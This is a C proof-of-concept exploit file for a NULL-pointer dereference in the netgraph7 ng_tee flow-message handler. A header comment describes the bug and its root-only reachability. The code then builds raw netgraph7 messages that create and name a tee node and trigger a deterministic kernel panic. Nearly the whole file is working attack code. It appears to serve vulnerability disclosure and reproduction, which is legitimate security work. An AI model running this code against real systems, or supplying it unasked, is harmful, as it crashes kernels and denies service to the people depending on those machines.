/*
 * DF-0727 - NULL-pointer dereference in ng_tee NGM_FLOW_COOKIE handler.
 *
 * Bug: sys/netgraph7/tee/ng_tee.c:263-264
 *   case NGM_FLOW_COOKIE:
 *       if (lasthook == sc->left.hook || lasthook == sc->right.hook) {
 *           hi_p const hinfo = NG_HOOK_PRIVATE(lasthook);   // NULL deref!
 *
 * When an NGM_FLOW_COOKIE message is addressed *by node name* (no hook
 * segment in the path), ng_address_path() leaves the item hook NULL
 * (ng_base.c:1819-1820 -> *lasthook=NULL when path has no hook segment).
 * If the tee node's `left` and `right` hooks were never connected,
 * sc->left.hook==NULL and sc->right.hook==NULL, so NULL==NULL is TRUE
 * and NG_HOOK_PRIVATE(NULL) -> NULL->hk_private panics.
 *
 * Reachability: requires an AF_NETGRAPH control socket
 * (caps_priv_check SYSCAP_RESTRICTEDROOT, ng_socket.c:182) -> root only.
 * Requires the NETGRAPH7 modules (netgraph.ko + ng_socket.ko + ng_tee.ko
 * built from sys/netgraph7/) to be loaded instead of the legacy netgraph.
 * Impact: deterministic kernel panic (local DoS, root -> kernel).
 *
 * This PoC uses raw sendto(2) with the netgraph7 struct ng_mesg layout
 * (NG_VERSION=8, 56-byte header) so it does NOT depend on the legacy
 * libnetgraph.so (which uses NG_VERSION=2 / 52-byte old format).
 *
 * Build: cc -o ng_tee_flow_nullderef ng_tee_flow_nullderef.c
 * Run:   ./ng_tee_flow_nullderef   (must be root)
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

/* ---- netgraph7 definitions (mirrors sys/netgraph7/ng_message.h) ---- */
#define NG_VERSION          8
#define NGM_GENERIC_COOKIE  1137070366U
#define NGM_FLOW_COOKIE     851672669U
#define NGM_MKPEER          2
#define NGM_NAME            4
#define NGM_LINK_IS_DOWN    33

#define NG_TYPESIZ    32
#define NG_HOOKSIZ    32
#define NG_NODESIZ    32
#define NG_CMDSTRSIZ  32

#define NG_CONTROL    2
#define AF_NETGRAPH   32

/* netgraph7 struct ng_msghdr (56 bytes total) */
struct ng_msghdr {
    u_int8_t   version;           /* offset 0  */
    u_int8_t   spare;             /* offset 1  */
    u_int16_t  spare2;            /* offset 2  */
    u_int32_t  arglen;            /* offset 4  */
    u_int32_t  cmd;               /* offset 8  */
    u_int32_t  flags;             /* offset 12 */
    u_int32_t  token;             /* offset 16 */
    u_int32_t  typecookie;        /* offset 20 */
    u_int8_t   cmdstr[NG_CMDSTRSIZ]; /* offset 24 */
};

struct ng_mesg {
    struct ng_msghdr header;
    char data[];
};

struct ngm_mkpeer {
    char type[NG_TYPESIZ];
    char ourhook[NG_HOOKSIZ];
    char peerhook[NG_HOOKSIZ];
};

struct ngm_name {
    char name[NG_NODESIZ];
};

/* netgraph7 struct sockaddr_ng (sa_family_t is __uint8_t = 1 byte) */
struct sockaddr_ng {
    u_int8_t  sg_len;             /* 1 byte  */
    u_int8_t  sg_family;          /* 1 byte  */
    char      sg_data[128];       /* variable */
};
#define NGSA_OVERHEAD 2  /* offsetof(sockaddr_ng, sg_data) */

static int g_token = 1;

static int
ng_send(int s, const char *path, u_int32_t cookie, u_int32_t cmd,
        const void *data, size_t datalen)
{
    size_t msglen = sizeof(struct ng_mesg) + datalen;
    struct ng_mesg *msg = calloc(1, msglen);
    if (msg == NULL) {
        perror("calloc");
        return -1;
    }
    msg->header.version    = NG_VERSION;
    msg->header.arglen     = (u_int32_t)datalen;
    msg->header.cmd        = cmd;
    msg->header.flags      = 0;          /* NGF_ORIG */
    msg->header.token      = g_token++;
    msg->header.typecookie = cookie;
    if (datalen)
        memcpy(msg->data, data, datalen);

    struct sockaddr_ng addr;
    memset(&addr, 0, sizeof(addr));
    addr.sg_family = (u_int8_t)AF_NETGRAPH;
    strlcpy(addr.sg_data, path, sizeof(addr.sg_data));
    addr.sg_len = (u_int8_t)(strlen(addr.sg_data) + 1 + NGSA_OVERHEAD);

    ssize_t n = sendto(s, msg, msglen, 0,
                       (struct sockaddr *)&addr, (socklen_t)addr.sg_len);
    int saved_errno = errno;
    free(msg);
    if (n < 0) {
        errno = saved_errno;
        perror("sendto");
        return -1;
    }
    return 0;
}

static size_t
strlcpy_ng(char *dst, const char *src, size_t siz)
{
    size_t n = strlen(src);
    if (siz > 0) {
        size_t cpy = (n < siz - 1) ? n : siz - 1;
        memcpy(dst, src, cpy);
        dst[cpy] = '\0';
    }
    return n;
}

int
main(int argc, char **argv)
{
    int s;

    s = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
    if (s < 0) {
        perror("socket(AF_NETGRAPH, NG_CONTROL) [needs root]");
        fprintf(stderr, "NOTE: AF_NETGRAPH control socket requires root "
                        "(caps_priv_check SYSCAP_RESTRICTEDROOT, ng_socket.c:182).\n");
        return 2;
    }
    printf("[+] opened AF_NETGRAPH control socket (fd=%d)\n", s);

    /* 1. mkpeer a tee node: my hook "left2right" <-> tee "left2right".
     *    left/right hooks NEVER connected -> sc->left.hook==NULL,
     *    sc->right.hook==NULL. */
    struct ngm_mkpeer mkp;
    memset(&mkp, 0, sizeof(mkp));
    strlcpy_ng(mkp.type,     "tee",        NG_TYPESIZ);
    strlcpy_ng(mkp.ourhook,  "left2right", NG_HOOKSIZ);
    strlcpy_ng(mkp.peerhook, "left2right", NG_HOOKSIZ);
    if (ng_send(s, ".", NGM_GENERIC_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0) {
        fprintf(stderr, "[-] mkpeer failed\n");
        return 1;
    }
    printf("[+] mkpeer tee left2right<->left2right  (left/right hooks NOT connected)\n");

    /* 2. Name the tee node "tee0" (reachable via my hook "left2right"). */
    struct ngm_name nm;
    memset(&nm, 0, sizeof(nm));
    strlcpy_ng(nm.name, "tee0", NG_NODESIZ);
    if (ng_send(s, "left2right", NGM_GENERIC_COOKIE, NGM_NAME, &nm, sizeof(nm)) < 0) {
        fprintf(stderr, "[-] name failed\n");
        return 1;
    }
    printf("[+] named the tee node 'tee0'\n");

    /* 3. Send NGM_FLOW_COOKIE addressed by node NAME ONLY ("tee0:", trailing
     *    colon, no hook segment) -> ng_address_path leaves lasthook=NULL.
     *    ng_tee_rcvmsg: if (NULL==sc->left.hook || NULL==sc->right.hook)
     *                       -> TRUE, then NG_HOOK_PRIVATE(NULL) -> PANIC. */
    printf("[+] sending NGM_FLOW_COOKIE to 'tee0:' (addressed by name => lasthook=NULL)\n");
    printf("[+] EXPECT: kernel panic / fatal trap 12 (page fault) in ng_tee_rcvmsg\n");
    fflush(stdout);

    if (ng_send(s, "tee0:", NGM_FLOW_COOKIE, NGM_LINK_IS_DOWN, NULL, 0) < 0) {
        fprintf(stderr, "[-] flow send failed (kernel may already be panicking)\n");
        return 1;
    }

    /* If we reach here, the bug did NOT fire (patched kernel or left/right
     * hooks happened to be non-NULL). */
    printf("[?] sendto returned without panic -> bug NOT triggered on this kernel\n");
    close(s);
    return 0;
}
